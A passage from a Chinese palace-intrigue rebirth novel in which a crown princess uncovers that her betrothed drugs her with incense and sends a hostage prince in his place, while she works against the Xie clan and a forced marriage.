过了一会,薛竹铃便鬼鬼祟祟地抱着什么回来了。
她用外袍紧紧裹着,四处张望,像是怕被人看到,在卫迟风狐疑的目光中,她关紧了寝殿的门。
随着门吱呀一声,薛竹铃的怀里也发出了一声响。
“喵~”
许长宁的思索被这一声天籁般的叫声打断,她双眼一亮,朝薛竹铃看来,薛竹铃咧嘴笑笑,将怀里抱着的小黑猫露了出来。
“小煤球!”
小黑猫一听见许长宁叫它,便从薛竹铃怀里跳下来,向许长宁跑去,一个劲儿地蹭她的腿,蹭了几下后便躺了下来,朝许长宁露出了肚皮。
许长宁蹲下来,开始“蹂躏”小黑猫,不自觉地露出了笑颜。
这只通体黑乎乎的小猫,是她前不久在御花园捡的,当时小猫受了伤,她哄了许久,才把小猫哄好。
小猫很聪明,也很黏人,可惜她不受猫气,接近猫便会喷嚏连连,父皇母后都不允许她与猫过于亲近,所以猫只能养在薛竹铃住的暖阁里,她偶尔过去看一眼。
“殿下还病着,与小煤球玩耍是否有些不妥?”卫迟风话语中并无责怪之意,只是有些担心。
“殿下开心了,病自然会好的。”薛竹铃看着许长宁笑了,小脸上尽是得意。
果然,只有她最懂得讨殿下欢心。
卫迟风看着薛竹铃上扬的嘴角,也笑了笑。
如此,一声声娇软的猫叫,伴随着一声声喷嚏声,将清晨的东宫唤醒了。
许长宁抚着怀里的煤球,心情大好,胃口也好了起来,连吃了两个薛竹铃煎的肉包子,随即又听到了一则好消息——许昭临醒了。
许长宁本想立即赶过去见父皇,但出门前又连打了好几个喷嚏,想了
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想,还是决定先更换一身衣裳,整理好仪容再去见父皇。
她一路匆匆,满心欢喜。
六年了,她失去最爱她的父皇,已经整整六年。
她迫不及待地想要听父皇唤她的名字,想抱一抱父皇,想与他一起吃一顿饭……
而且,有一个极为重要的线索,她需要告诉父皇,或许这条线索可以助他们扳倒谢家。
许长宁越接近昭宸殿,却越发现不对,前方不断有嘈杂声传来,还有很多人匆忙地奔入昭宸殿。
她按捺住不安,加快步伐,然而当她冲入昭宸殿时,她发现里面已乱成了一团。
本该清醒过来的许昭临,此时双眼紧闭,脸色惨白地躺在榻上,一众太医手忙脚乱地围着他,正在紧急施救。
许长宁怔在原地,手止不住地发颤。
这一幕,与前世许昭临“病逝”之前一模一样,只是地点从御书房,变成了昭宸殿。
她以为她改变了命运,却发现自己只是被命运玩弄了。
*
在许昭临醒来,到许长宁来到昭宸殿的短短两刻钟内,许昭临再一次被毒害。
他喝下太医的药后不久,便捂着心脏倒下,不省人事。
与上次御书房的茶水一样,药里查不出毒,一众太医坚称许昭临是心疾发作,而非中毒,但许长宁不信。
她看着跪在面前的太医,看着那些宫女太监,还有殿外的龙武军,忽然觉得毛骨悚然。
从前她以为,谢家势力是在谢筠与她成婚后,才渐渐渗透这座皇宫。
可现在看来,似乎所有人都不可信,所有人,都有可能是谢家的走狗……
他们的手,伸得比她想象中的还要长。
太医告诉她,许昭临虽保住了性命,但醒过来的希望非常渺茫。
许长宁命东宫卫士寸步不离地守着许昭临,随后回到东宫,将自己锁在寝殿里,一整日都没有出来。
薛竹铃和卫迟风守在门外,担心不已,又不敢去打扰。
直至深夜,薛竹铃待不住了,不顾卫迟风劝阻,爬窗进了殿内。
殿内灯火昏暗,薛竹铃一下子没看见许长宁身在何处,蹑手蹑脚往里面走了几步,才看到了她的殿下。
许长宁光着脚,抱着双膝靠坐在角落里,面前散落了一地的纸张,上面写满了潦草的字。
她双眼无神,直直地望着那些纸张,神情已是疲惫至极,知道薛竹铃偷跑进来,也没有抬眼。
薛竹铃仅见过这样的许长宁一次,十二年前,她从和宁宴那场刺杀中存活下来,第二日醒来,便是这副模样。
无措,无助,脆弱。
薛竹铃一下子便红了眼,冲上去紧紧抱住许长宁。
“殿下……您吃点东西好不好……”
许长宁没有动,仍是看着纸上写的东西。
半晌后,她哑声道:“竹铃,你出宫吧,明日便走。”
*
江鹤一的前世日志·四
许长宁登基了,成为了昭国第一位女帝,但她在朝中的权力,似乎较从前还是皇太女之时更为不堪。谢筠身为皇夫,光明正大摄政,其父谢望松又是左相,朝中诸多大臣开始肆无忌惮地打压许长宁,听闻每日的朝会,都极为热闹……
其实许长宁辅政多年,又监国多年,本事应当比谢筠大,这群男臣却因她身为女子,便认为她的决策不如谢筠,私下也对许长宁多有非议,如此看来,昭国更像是一个笑话了……
今日,我看见她立于树下,望着一只被蜘蛛网缠住的虫子许久,忽然觉得她与我似乎有些同病相怜。虽然如此说,显得我高看了自己,但这个女人的处境,确实也糟糕。我们皆是那只被蜘蛛网束缚的虫,挣扎却无望,只能等待死局……她是否会如我一般,偶尔感到害怕?
但我总觉得,这个女人不同于寻常女子,若她下定决心,应当会做出些不一般的事情来……
6. 逼婚
许昭临中毒之时的场景,让许长宁意识到,命运是不会轻易被改变的。
前世所有的事情,很可能都会再度发生。
江鹤一与谢筠的合作也是一样,即便换了时间,换了地点,也还是发生了。
她承认,自己慌了。
她把自己关在寝殿内,将前世发生的一切,一件件写了下来,写完后惊觉,她身边的所有人,所有她在意的人,都会因为她与谢家对抗而一个个走向死亡。
她若与谢家作对,命运可能会重复,她若不与谢家为敌,谢家也不可能会放过她……
她不怕死,却怕看着身边在意的人因为她而死。
“你想嫁人,我便为你寻一良人,你想做生意,我便为你盘几间铺子……”
许长宁对眼前一脸惊讶的薛竹铃继续说道。
但她尚未说完,薛竹铃便憋不住了,爆发出凄厉的哭声,惊得窗外树上歇息的鸟儿都飞走了。
砰的一声,寝殿锁上的门被猛地撞开,卫迟风满脸紧张地冲了进来,还打了个趔趄,堪堪稳住时,便看到许长宁好好的,不由得愣了一下。
薛竹铃这个哭声,他还以为许长宁出事了……
许长宁也没想到薛竹铃哭得如此凄惨,忙把她抱进怀里,朝卫迟风挥挥手,示意他出去。
“殿下为什么不要我了……是不是我哪里做得不好……”薛竹铃紧紧抱着许长宁,死死揪住她背后的衣裳,哭得上气不接下气。
许长宁轻叹一口气,抚着她的后背,感觉似乎回到了许多年前,薛竹铃还是个小娃娃的时候。
“竹铃,我给你讲个故事可好?”
薛竹铃机灵得很,对于哭这个技能,拿捏得甚是到位,许长宁不再说要她走的话,她马上收敛哭声,埋在许长宁怀里点了点头。
“你可相信,人死后,可以重来一世?”
*
喧闹的东宫归于平静,被惊走的鸟儿又飞回了巢里。
薛竹铃红肿着眼,看着许长宁,吸了吸鼻子:“所以,殿下是重生了?”
许长宁抬手擦掉她脸上的泪珠:“你信吗?”
“信!殿下说什么,竹铃都信。”薛竹铃往许长宁身边蹭了蹭,“那殿下是担心我会死,所以才要我走吗?”
“不然呢?我们竹铃如此好,我怎舍得让你离开?”许长宁柔声道,“我不知自己能否成功改变一切,但我至少要保护好你们,你先离开,待我安排好一切,也让迟风——”
“我不走,我死也不离开殿下,卫迟风也是,打死都不会走。”薛竹铃搂住许长宁的手臂,开始耍赖。
门外的卫迟风恰好打了一个喷嚏。
许长宁轻笑一声,低头看薛竹铃:“你不怕吗?”
薛竹铃不答反问:“殿下怕吗?”
许长宁沉默片刻,头轻靠在墙上:“怕。”
怎会不怕?
看着父皇又一次倒下,她怎会不怕?
看着纸上那一条条人命,她怎会不怕?
抛开一切,她也只是个普通人,并非生下来便具有抗争的胆量与能力。
她不甘心,所以拼尽所有勇气去反抗,但不代表她无所畏惧,坚不可摧,她也会害怕……
薛竹铃仰起脸,将下巴垫在许长宁的肩头,又问:“那殿下可会继续对付谢家?”
许长宁答得干脆:“我别无选择。”
即便害怕,即便可能会再次失败,她也绝不退缩。
为了阿兄,为了父皇,为了前世那些为守护她而逝去的生命,她也要奋力一搏。
“那我也一样。”薛竹铃笑道,“殿下便是竹铃唯一的选择。”
许长宁侧头望去,心中寒意顿时被薛竹铃的笑所驱散大半。
这个小傻瓜……
许长宁摸了摸她的脸:“这可是关乎你的小命,你不犹豫一下?”
薛竹铃神色极为认真:“我七岁那年上树掏鸟蛋,脚滑摔下来,殿下伸手接我的时候,可有犹豫?”
当年,薛竹铃想给许长宁送生辰礼物,但又没有银子,便打算掏几个鸟蛋,孵出小鸟送给许长宁,怎知上了树便下不去了。
当她支撑不住,失足跌落时,恰好被来寻她的许长宁看到,许长宁飞奔到树下接她,她平安无事,许长宁却因此手臂骨裂,足足养了两个月才好。
许长宁骗所有人,说是她自己摔伤的,薛竹铃差点哭瞎了眼,粘着许长宁寸步不离,从此安安分分,再也不敢调皮了。
“那不一样——”
“不管不管我不管!”薛竹铃不给许长宁往下说的机会,继续耍赖。
许长宁哭笑不得:“可我记得,你说过你有大野心,大志向,与其陪我冒险,去做你最想做的事情不好吗?”
薛竹铃忽然脸上发热:“只、只有待在殿下身边,才能实现……”
“能告诉我吗?”许长宁有些好奇。
薛竹铃更害羞了,支支吾吾半晌,才小声答道:“我、我想把殿下,养得白白胖胖漂漂亮亮,陪着殿下到老,做、做殿下孩子的乳母,成为殿下身边最得宠的老嬷嬷……”
许长宁忍不住噗嗤一声笑了,薛竹铃红着脸道:“殿下不准笑话我!”
“我是开心。”许长宁微笑道。
“所以,为了让我实现我的野心,殿下一定要想办法活到一百岁。”薛竹铃勾着许长宁的小指,看了眼遍地的纸张,“您已经有了计划,对吧?”
许长宁拿起其中一张,目光变冷:“谢筠曾送给我一条线索。”
“你可知他为何要找江鹤一行替代之事?他说,十二年前和宁宴,我曾落入山匪之手,被辱了清白。”
薛竹铃两眼一瞪,当即炸了:“胡说八道!我让卫迟风去把他剁了!!”
许长宁早知薛竹铃会如此,已提前将她紧紧按住:“谢筠好洁成癖,人人皆知,他那时的神情和语气,不似在骗人,而且他是低声对我一人说的,我已落入绝境,他没必要骗我。我虽已不记得和宁宴那日的事情,但我听过的所有消息,看过的所有卷宗,都说杀害阿兄和弟弟妹妹的,是燕国刺客。但谢筠却说,是土匪。”
薛竹铃惊坐起,倒吸一口气:“谢狗贼很可能掺了一脚!”
许长宁攥紧了手中的纸,冷笑道:“不错,若能找到证据,便可光明正大治他们的罪,杀害皇嗣,诛九族都不为过。身为世家之首,谢家要是倒了,其他人也不敢造次了。”
“事不宜迟,让卫迟风现在就把谢狗贼抓来严刑拷打!”薛竹铃双眼放光,跃跃欲试。
许长宁戳了戳她的脑门:“不行,且不说屈打成招无法服人,如今我尚未摸清谢家在朝中的势力,不能贸然行事。”
谢筠也不过是谢家放在明面上最大的棋子,因为他能借婚事,名正言顺地掌握皇权,而他背后的谢望松,谢家家主,又位列昭国左相,才是最大的执棋者。
薛竹铃摸着脑门“哦”了一声:“那殿下第一步要做什么?”
“试着阻止即将到来的逼婚,不能让谢家名正言顺地从我手中分走权力。”
*
“殿下!请您尽快择翊圣郎成婚!太祖皇帝曾立国律,储君临危继位,太子可待婚,太女必已婚,以全阴阳纲常,固社稷根基。如今陛下病情一日重过一日,若有不测,殿下未成婚便不能登临大宝,届时国无君主,必生内忧外患!”
含元殿内,许长宁正要反驳礼部尚书的话,右相严伯钧抚着花白胡须出列。
他面色沉肃:“殿下,您是女子,本就担着非议临朝,万不能再违逆祖制!老臣今日斗胆进言,这婚,您非成不可!为了昭国的江山,为了万千百姓!”
纲常、社稷、国本、祖制……激烈的字字句句,压得许长宁毫无喘息的余地。
被架到这个份上,但凡她反驳一句,便是大逆不道。
许长宁看了眼一直沉默的谢望松,心中冷笑。
“左相认为如何?这婚,孤该不该成?又该与谁成?”
“臣认为,殿下应当遵守祖制,尽快成婚。”谢望松脸色从容,不像严伯钧那般激动,言语也甚是温和,“至于翊圣郎人选,自是经由礼部卜选后,殿下再做选择。”
“好,好得很。”许长宁忍着一腔怒意,拂袖下了朝。
她料到阻止成婚一事不易,但再一次被逼,心情实在好不起来,一张脸黑得无人敢上前搭话。
偏偏有人要往她跟前凑,早就候在她回东宫的路上。
“秘书郎,孤今日不想再与人说什么。”许长宁懒得与谢筠惺惺作态。
“臣正是知殿下心烦,才在此处等候殿下。”
谢筠知晓这正是关键之时。
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>若他能做解语花,讨得许长宁欢心,成婚一事会更顺利,他不允许这件事有丝毫差错。
眼下面对许长宁更明显的需求,他只能用更为激进的行为来讨她欢心。
“殿下今夜,可否为臣留一条出入的密道。”谢筠话音温柔,好似春风,“臣自前日……便甚是思念殿下,让臣继续为殿下解忧,可好?”
许长宁本觉得厌烦,心中却忽然生出一个主意。
她看向谢筠,阴沉的脸露出一抹笑意。
“谢公子如此有心。”她抬起手,轻轻挑开谢筠围在脖子上的颈裘,看见了一道咬痕,嘴角轻扬,“孤怎舍得辜负?”
*
是夜,许长宁命卫迟风将寝殿附近的卫士集中在正门,于后方留出了一条无人巡查的通道。
她沐浴过后,半卧于榻上,只着单衣,静候来人。
时至亥时,她看到有一道身影出现在后窗,抬手敲了敲窗户。
“进来吧。”
许长宁话音落下,谢筠便从窗户翻了进来。
“殿下夜安。”谢筠与上次一样隔着屏风席地而坐,在一旁的香炉里点燃了一块香料,“这是臣亲手调配的一款香,可助殿下安神。”
许长宁懒懒地“嗯”了一声:“谢郎今夜,想与孤聊什么?”
“筠知殿下今日为国事心烦,不如为殿下讲两则有趣的话本故事如何?”
“甚好。”许长宁放下手中书籍,侧身面向屏风,以手撑头。
她望着屏风后的袅袅轻烟,嘴角微扬。
月上中天,清辉透过窗棂落在殿内的地板上,碎成一片冷白。
夜风不知何时停了,连廊下的铜铃也敛了声息,只有香炉里的沉香偶尔爆出细碎火星,在寂静中漾开一圈涟漪。
谢筠说话轻柔,几乎与夜色融为一体,格外令人昏昏欲睡。
半个时辰不到,寝殿中便只剩下他一人的声音。
谢筠绕过屏风,看见许长宁已然躺下,便试探性唤了一声:“殿下?”
“嗯……”许长宁的声音听上去疲惫又迷糊。
片刻后,更为消瘦的一道身影在榻边坐下。
望着藏身于暗处看着他的谢筠,江鹤一终是缓缓松开了紧攥的拳。
他轻呼一口气,不断在心中麻痹自己,为了保住苏明烨的命,为了有生之年能回到燕国,这些屈辱又算什么?
不过是,逢场作戏罢了……
他狠下心,一只手托住许长宁的脖颈,直接俯身去蹭她的脖子。
见江鹤一开始行动,许长宁也给予了回应,双手攀上了江鹤一的背,谢筠便将殿内的烛火吹灭,从后窗悄然离开。
他看见这一幕都觉得恶心,身上的伤疤止不住地发痒。
江鹤一也觉得浑身在发痒,但他心中那股恶心,却因许长宁身上的淡香而被冲淡。
很奇怪,他每每闻到这股香气,身体便会不自觉地放松下来,犹如一种本能的反应。
似是因为熟稔,又似是因为喜欢……
江鹤一逐渐沉迷,竟一度失控,主动拉扯许长宁的衣裳,要接触到她更多的肌肤,寻找更浓郁的香气。
仿佛他才是中了迷香之人,一时如饥似渴,昏沉迷离。
但明明他已提前服下可以保持清醒的药物……
为何……会这样?
江鹤一抓住那一丝游离的清醒,猛地起身抽离,意识渐渐回笼后,他方才察觉自己有多荒唐,忙起身要逃离。
怎料,一只有些冰凉的手倏地攥住了他的手腕。
他的眼角余光看到,榻上本已接近昏睡之人,竟缓缓坐了起来。
身后女子发出一声低笑,他不由得浑身一僵。
“情爱之事只做一半便走,不妥吧?江鹤一。”
*
江鹤一的前世日志·五
我虽然已多次试验过迷香的药效,但心中总有些不安……她在行事过程中,力道不似中了迷香之人,不过每次确实都会在最后一步之前陷入昏睡……近日我观察她的睡颜,总觉得她睡得并没有那么沉,但也没有醒来的迹象,应当……还是安全的……
只是每每这个时候,听着她的呼吸声,我总忍不住胡思乱想,若有一日她发现了,我会被如何处置?
恐怕……再也见不到第二日的太阳了吧……
7. 暴露
在许长宁说出他的名字后,江鹤一几乎没有思索,便立即跪下,额头触地,颤声求饶。
“殿下饶命……小人……小人知罪……”
许长宁看着他伏于地面,背脊在发颤,连声音里都带着哭腔,嘴角微微上扬。
又是这一招。
她对他实在太过熟悉,一听便能听得出来,他的颤抖有九分是在演戏,此时心里指不定在如何骂人呢。
江鹤一看上去没有骨头,却是一个临死前都要逞强几句的人。
许长宁很清楚,他不怕死,故不会因此颤抖至此。
对于现在的他而言,卑躬屈膝只是他最基础的手段罢了。
万事先求饶,以弱示人,惹人心软,让对方充分感受到上位者的滋味,再通过姿态的高低之别,让对方感觉已尽了羞辱之欢,也许便会不再与他计较了。
江鹤一八岁便来敌国当质子,若没有这点本事和小聪明,活不到现在。
聪明很好,许长宁今夜戳穿他,便是要好好看看,他这份聪明要为谁而用。
她整理好被江鹤一扯歪的衣裳,不紧不慢道:“你有何罪,说来听听,若坦诚,我可饶你。”
江鹤一低着头,血液倒流,一时觉得头脑发胀,心跳加速。
怎会被发现了!明明燃着迷香啊!
眼下谢家在朝中的势力明显比许长宁更为强大,他若是将谢筠供出来,定是死路一条,可若他不供出谢筠,擅闯东宫,亦是死罪难逃……
他要怎么说,才能保住性命?
江鹤一疯狂地思考,脑中忽然再度浮现,那日在御书房前,许长宁对他的所作所为。
差点忘了,这个女人第一次见面便对他动手动脚了!
“自从那日在御书房,小人见了殿下一面后,便对殿下魂牵梦萦!”
江鹤一抓住了救命稻草,惶恐之余,仍不忘演出几分羞涩,“殿下那日既宽恕了小人,又是那般明艳动人,小人……心中敬仰,夜夜难寐……今日小人想亲自来谢恩,但不敢通报,见后殿无人把守,殿下寝殿的窗户又开着,就、就偷偷进来了。殿下喃喃自语,小人以为殿下在唤小人,可刚走近榻边,殿下便……将小人拉到了榻上……”
许长宁听了这一番说辞,几乎要为江鹤一鼓掌。
为了不供出谢筠,他还真是把她当成傻子来哄啊……
“那岂不是我轻薄了你?”许长宁哼笑道。
“这是小人的无上荣光……”江鹤一默默咬紧了牙关。
许长宁沉默片刻,随即光着脚站了起来,立于江鹤一面前。
她微微俯身,裙摆带着她的香气,轻扫过江鹤一的头顶。
“你觉得我会信吗?”
她随即转身离开,裙摆也从江鹤一的一侧扫过,带起一阵微风,吹得江鹤一透心凉。
“你若坦诚,我尚可饶你,但既然你满口胡言,我便让别人来审——”
许长宁唬他的话尚未说完,忽然被人小心翼翼地握住了脚踝。
江鹤一的手掌粗糙,与谢筠细皮嫩肉全然不同,但他掌心那股熟悉的温热,却比细皮嫩肉更令许长宁舒适。
此刻,这双有茧的手,贴在了她的皮肤上,一只手顺着她的脚踝,试探地向上移了一寸。
“小人绝无半句虚言……”
江鹤一抬起头望向许长宁,哀求道,“小人愿做殿下的奴才,伺候殿下,哄殿下开心,为殿下做牛做马……”
许长宁垂眸望去,迎上了江鹤一的目光。
他眸中闪着星星点点的水光,宛若清凛湖中掉进了一颗小石子,他的衣襟被拽得歪斜,露出了些许身上的伤疤,整个人就像一盏精致但又尽是裂痕的玉器。
多看两眼,都要让人于心不忍。
但许长宁的脸色却沉了下去。
江鹤一言行举止如此卑微,令她不悦。
他如此卑微,却是在极力替谢筠掩盖,令她愈发不悦。
明明她给了他机会,但他还是选择骗她……
许长宁眉心微蹙,掐住江鹤一的下巴,猛地抬起,寒声道:“江鹤一,你本该是那河中央的白鹤,遗世独立,或鹤立鸡群,可如今,怎么活成了鸡的模样?”
江鹤一瞳眸一颤,神色沉了下去,似是被击到痛处,伪装得严密的情绪被撕开一道裂痕。
半晌后,他脸上浮现一闪而过的讥笑,低声道:“鹤的脖颈腿脚被人折断,塞进囚笼中,若不像鸡一般乞食求生,恐怕早已化为白骨。”
“殿下,小人的命虽不值钱,但小人还是想活着……”
想有朝一日,能回到他的家,再见他的家人一面……
许长宁望着他的眼眸,许久没有作声。
说了这么多,恐怕只有这两句是他的真心话。
“可是怎么办?”许长宁阴沉的脸色顿时消散,她玩味一笑,“比起鸡,我更喜欢鹤。”
江鹤一闻言,眼中的不甘与愤懑几乎要溢出来,在他低下头掩饰的瞬间,还是被许长宁看到了一丝破绽。
他缓缓松开握着许长宁脚踝的手,垂着头许久未语。
他盯着自己跪在地上的双膝,忽然觉得地面好硬,跪得有些疼。
“那小人无能为力,任殿下处置便是。”他的声音中多了几分颓丧。
许长宁负手行至屏风前,用茶水浇灭了香炉中的迷香,语气幽幽:“擅闯东宫,自是死罪。”
“除非,你于我有利用价值,我便可以考虑留你一命。”
江鹤一闻言,嘴角微微扬了扬。
果然,许长宁即便嘴上不认,但还是对他有几分青睐的。
江鹤一再度伏拜,坚定道:“殿下有何吩咐,小人万死不辞。”
许长宁没有再看他,只是用小棒挑出香炉中的迷香:“今夜我已乏了,你明夜再来一趟,我与你详谈。”
“此外,还请江郎君明夜好好证明一番,今夜所说,句句属实。若你敢不来,或还敢骗我,就休怪我手下不留情了。”
“从何处来,便从何处走吧。”
许长宁一直背对着江鹤一,她不想看到他那副模样。
“谢殿下。”
江鹤一并未多言,礼数做足后,即刻爬窗离开。
直至远离东宫,他一直紧绷的精神终于得以松懈几分,可心中的悲戚和嘲讽亦随即涌了出来。
他本以为他已然麻木,不甚在意,可方才许长宁所说的话,开始在他耳边一遍遍回响。
“呵……”他靠着宫墙,微微仰头看向天边那轮孤月,“江鹤一……”
江烟栖鹤,孤一自清……
这是母后为他取的名字。
“我还真是,玷污了这三个字啊……”
一个皇子,怎会活得如此卑贱?
卑贱到,连他都觉得自己恶心。
江鹤一轻笑一声,随即抚着斑驳的宫墙缓缓前行,左腿总是不听话地,比右腿慢半拍。
天寒地冻,左腿曾经的旧伤,又开始疼了。
*
薛竹铃发现寝殿内燃起了好几盏烛火,便知许长宁已经送走了“客人”,于是探头探脑地往寝殿里走。
她看到许长宁坐在桌案前,在纸上写字。
“殿下这么快便放他走了吗?”薛竹铃在许长宁身边坐下,习惯性地粘着她。
“他有心护着谢筠,恐怕三言两语难以说服他为我作证,万一他转头便去告知谢筠,就麻烦了。”许长宁一边答着,手中的笔也没有停下,“我需要时间与他细聊,但谢筠今夜估计还在盯着,便约他明夜再来。”
只要江鹤一在众臣面前作为证人,证明谢筠不愿意碰她,甚至找人替代他行房事,谢筠便休想再与她有任何瓜葛。
若谢筠无法与她成婚,谢家应当也不会允许其他人来坐翊圣郎之位,如此她便不必成婚了。
“我方才在外面,听见了几句,有些不明白。”薛竹铃把下巴垫在许长宁肩上,声音软糯糯的,“殿下前世与江鹤一关系亲密,为何方才要说那些话激他?”
许长宁闻言,笔下一顿。
一滴墨坠于纸上,染开一朵花。
似有遥远的声音,随微微夜风,传入她的耳中。
“陛下,小人此生最想要,但也永远求而不得之愿,便是做那江烟栖鹤,孤一自清,自由自在。”
那时,许长宁并不知他是江鹤一,以为他是谢筠从何处寻来的面首。
她以为他要的自由,只是出宫而已。
即便当时她的实权已被谢筠尽数夺走,成了一个空有名号的皇帝,但释放一个面首,应当不是难事。
思索许久后,她给出了她的答案。
“那我便放你离开,你去任意想去之地,做你的孤鹤。”
江鹤一并未如她想象中开怀,他轻吻她的手背,拒绝了她的提议。
“小人……非鹤,一身卑贱,亦无以为鹤,能得陛下垂怜,已是万幸……”
……
那是许长宁与谢筠成婚后的第三年,某日夜里,许长宁问起枕边之人有什么心愿,江鹤一给出的回答。
许长宁如今想来,能猜到为何江鹤一明明想回燕国,却没有顺着她的话,争取离开的机会。
江鹤一的母后在他们那次谈话的前一年,因私通太医之罪,被燕皇江阙赐毒酒处死,父亲
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成了杀母仇人,江鹤一彼时已无处可去,无家可归。
那时许长宁只知江鹤一不是谢筠,不知他是江鹤一,她觉得他在那段时间,整个人没有了心气,夜里也没有了乐趣。于是她直接挑明,她知晓他不是谢筠,并且要他一直留在她身边,好好服侍,他想要什么,她可以给他。
“小人想回家。”江鹤一在黑暗中轻声道。
“你家在何处,家中有谁?”许长宁好奇问他。
可江鹤一却沉默了,许久后才答道:“小人家中没有亲人了。”
“那你为何还想回去?”许长宁有些不解。
“是啊……”身边躺着的人不答,反轻笑一声,“小人似乎……已经没有家了……”
那一夜,许长宁第一次在他的脸上,感受到一片冰冷的湿意。
自那之后,江鹤一再也没有提过回家一事,也没有向许长宁索要什么,只是一直留在她身边,即便她与谢家对抗,江鹤一也选择站在她这边。
许长宁猜想,他应当是希望有朝一日,可以靠着她这个昭国皇帝的势力,回燕国替他的母后向揭发私通一事的虞妃报仇。
可惜他站错了队,最后跟着她一起走向了死路。
他的心中,应当是埋怨她的吧……
“殿下?”薛竹铃看许长宁失神许久,便轻声追问道,“您方才说那些话,难道不怕江鹤一离您越来越远吗?还是说,您如今重来一次,不想再与江鹤一有瓜葛了?”
许长宁回过神来,清了清嗓子,以掩饰自己的失神:“江鹤一的事不重要。”
“哦。”薛竹铃乖巧地没再发问。
许长宁在纸上写完最后几个字,将纸递给薛竹铃,让她叫人去准备一下纸上所写之物。
“男子的衣裳?”薛竹铃看着纸上内容,歪了歪头。
许长宁颔首,两次见江鹤一,他都穿得轻薄,衣裳上还有补丁,今冬格外冷,得给他多备几套暖和的衣裳。
“金疮药和化瘀紫金液?”薛竹铃继续念道。
许长宁补充:“多准备一些。”
他的身上还挺多瘀伤的,青一块紫一块,跟山水画似的,背上的伤疤倒是还没有前世那般多,备些上好的金疮药定是没错。
“归元固本膏,强筋生力散……虎骨壮元酒…………?”薛竹铃念不下去了,抬头望向许长宁,“殿下,这些药物的名字好生奇怪,都是治什么的?”
许长宁弯唇笑笑:“你那小脑瓜子,还不必知晓这些。”
江鹤一比起前世瘦了一些,手脚不如前世那般暖和,力道嘛……也不如前世……
应当是吃得差,身子不是很好,必须补补……
薛竹铃撇撇嘴,没再往下问。
这还叫不重要?
她家殿下也是个嘴硬的。
薛竹铃折好纸张,见许长宁站起来往外走,忙拽起一件外袍跟了上去。
许长宁推开门,守在门前的卫迟风随即行礼问安。
“迟风,阿皓的事安排得如何了?”许长宁拢紧了薛竹铃给她披上的外袍。
卫迟风答道:“臣已派人去接崔公子了。”
许长宁再三叮嘱:“一定要保护好他。”
“殿下放心。”
许长宁颔首:“密室都打点好了吗?”
“打点好了……”卫迟风有些犹豫,“可是殿下,您一定要这样做吗?”
许长宁垂首望向自己仍光着的脚,朝前迈出一步。
地面与她脚底触碰的感觉,有些冷,有些硬,小石子还硌人……
这令她深深地感受到,自己存在于这世上。
她还活着,她的每一步,都有重量。
“我心意已决。”许长宁深呼吸一口气,“我定会,改变这一切。”
*
江鹤一的前世日志·六
母后不在了,父皇应当也不会要我了……苏明烨也死了……我不知自己为何还要在这里苟活着……
许是我的情绪太过低迷,许长宁有所察觉,又或是许久以前,她就已经发现了破绽,今夜她告诉我,她知晓我非谢筠。
那一刻,我心中竟毫无波澜,本想着要是被杀了正好,免得自己动手。可她却让我留下,还问我想要什么……我还能要什么?我只想回家……但她的话,又一次让我意识到,我已无家可归。
我拼命强忍,却还是止不住眼泪,只能忍着不发出声音,可她却来摸我的脸,还是被她发现了……事已至此,我以为我已将她今夜的兴致毁得干净,但她却在我要起身离开时,跟我说了一句话。
她说,若我愿意,可将这昭宸殿,当作我的家……
8. 交锋
翌日,许长宁忙完政事后,去昭宸殿探望昏迷不醒的许昭临。
有东宫卫士替她守着父皇,她才安心些许。
如今她不敢轻信任何人,就连太医送来的药,也要多次验毒。
“父皇,儿臣尚未来得及与您说句话。您一定要好起来。”
许长宁轻声呢喃,悄悄红了眼,“宁儿很想念爹爹……”
她舀起一小勺药,小心翼翼地吹了吹,然后像父皇小时候给她喂药时那样,往药里撒了一些白糖。
“药很苦,但宁儿给爹爹放了糖,爹爹要喝下去。”她微微笑了笑,小心地将药喂入许昭临口中。
但喂了两勺后,药便流了出来。
许昭临已经无法吞咽了。
许长宁的笑意凝固,喉头发涩。
“无碍,我们一会儿再试试。”她放下了药碗,接过薛竹铃递来的帕子,为许昭临擦拭嘴角。
“喂药当让太医来喂,你不懂。”
李令舒的声音从身后传来,许长宁闻言,温柔之色顿时褪去。
她并未问安,也没有答话,甚至看都未曾看李令舒一眼,只是默默站起来,转身欲离开。
“你近日怎么回事?”李令舒蹙眉道,“对谁都没有好脸色,对本宫如此,对筠儿更——”
“筠儿……”许长宁哼笑一声,打断了李令舒的话。
她转过身,面无表情地望向李令舒,“谢筠到底是母后的表侄,还是您的亲生儿子?”
在李令舒神色忽变,正要斥责许长宁之前,许长宁马上又说,“啊,不对,他应该,很快便是母后的女婿了,那与亲生儿子也无甚区别了。儿臣说得没错吧?”
李令舒想起此事,便不再计较方才许长宁那一句令她生气的话了:“你的婚事关乎国本,本宫已与谢相商量过了,你唯有与筠儿成婚,谢家才有立场让那些傲慢的世家拥护你,你方可顺利登基。”
“可儿臣不打算成婚,更不会与谢筠成婚。”许长宁语气淡淡。
李令舒的眉头皱得更深:“筠儿到底如何不好了?”
许长宁直言道:“谢筠根本没有将儿臣放在眼中,他连碰都不愿碰我,夜里给我下迷药,找人行替代之事。”
李令舒闻言,神情凝固了一瞬,似是不相信。
许长宁早就料到她的反应,轻笑一声:“过两日我会将人证带到朝会上,母后若不信,可以来看看一场好戏。”
“不可!”李令舒几乎没有犹豫,立即出言阻止,“你必须与筠儿成婚,他若不喜你……你登基后,再寻别人便是。那严伯钧乃极其古板之人,因你是女子,你父皇立你为储君之时,他便再三阻止,陛下发怒后他才勉强妥协。日后若无谢望松支持你,严伯钧和他的那些门生,绝不会让你登基,他们甚至在暗中商议,要择宗室子弟为皇太子。”
句句为许长宁好,皆是为她着想……
真的如此吗?
许长宁凝望李令舒有些疲惫的面容,想要靠近,却望而生怯。
前世她与谢家撕破脸皮后,曾被谢家擒住,囚禁于刑房之中。
李令舒来寻她,她本以为母后会帮她逃出去,可在她与谢家之间,李令舒毫不犹豫选择了谢家。
李令舒只说了两句话。
“别再挣扎了,昭国已是谢家的了。”
当许长宁质问李令舒,说自己才是她的女儿,她的家人,为何她却要帮着害死了父皇的谢家之时,李令舒望着许长宁的脸很久,缓缓开口回答。
“为什么活下来的不是安儿,而是你?”
原来如此……
因为当年和宁宴,死的人是她的阿兄许长安,而不是她,所以李令舒才会如此。
十几年来,她的母亲看着她的脸,想的竟是这个……
许长宁每每想起那句话,便觉得心如寒冰,以至于她如今光是迎着李令舒的目光,都感到发冷。
既然李令舒铁了心要巴结着谢家,出于孝敬之心,她更不能遂了谢家的愿。
